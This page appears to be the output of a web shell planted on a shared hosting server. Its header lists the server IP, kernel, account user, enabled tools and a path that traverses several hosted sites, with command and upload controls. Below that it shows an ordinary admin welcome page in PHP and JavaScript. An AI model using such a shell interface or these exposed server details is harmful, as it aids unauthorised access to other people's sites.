MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.112.23
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/goldensafe.in/../chandeshwarcontractors.com/../bsaec.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/goldensafe.in/../chandeshwarcontractors.com/../bsaec.in/admin/welcome.php
<div class="p-5" class="container">
    <?php 
        include_once('config.php');
        $sql2 = "SELECT * FROM `tb1_admin`";
        $run2 = mysqli_query($db,$sql2) or die("Query Not run");
        $data2 = mysqli_fetch_assoc($run2);
    ?>
 <div style="text-align: center;">
 <h3 style="font-family: serif; color:#183693;">Current Time</h3><br>
 <div style="font-size: 50px; font-family: serif; color:#91412a;" id="txt"></div>
 <div>
 <p style="font-size: 20px; font-family: serif; color:#031e02;" id="demo"></p>
 </div>
 <div>
 <h1 style="font-family:sans-serif; font-weight:bold; color: #183693;">Welcome To <span
 style="color: #91412a;"><?php echo $data2['admin_name'];?></span> - Admin</h1>
 </div>

 </div>
 <script>
 function startTime() {
 const today = new Date();
 let h = today.getHours();
 let m = today.getMinutes();
 let s = today.getSeconds();
 m = checkTime(m);
 s = checkTime(s);
 document.getElementById('txt').innerHTML = h + ":" + m + ":" + s;
 setTimeout(startTime, 1000);
 }

 function checkTime(i) {
 if (i < 10) { i = "0" + i }; // add zero in front of numbers < 10
 return i;
 }
 </script>

 <script>
 const d = new Date();
 document.getElementById("demo").innerHTML = d;
 </script>

MMCT - 2023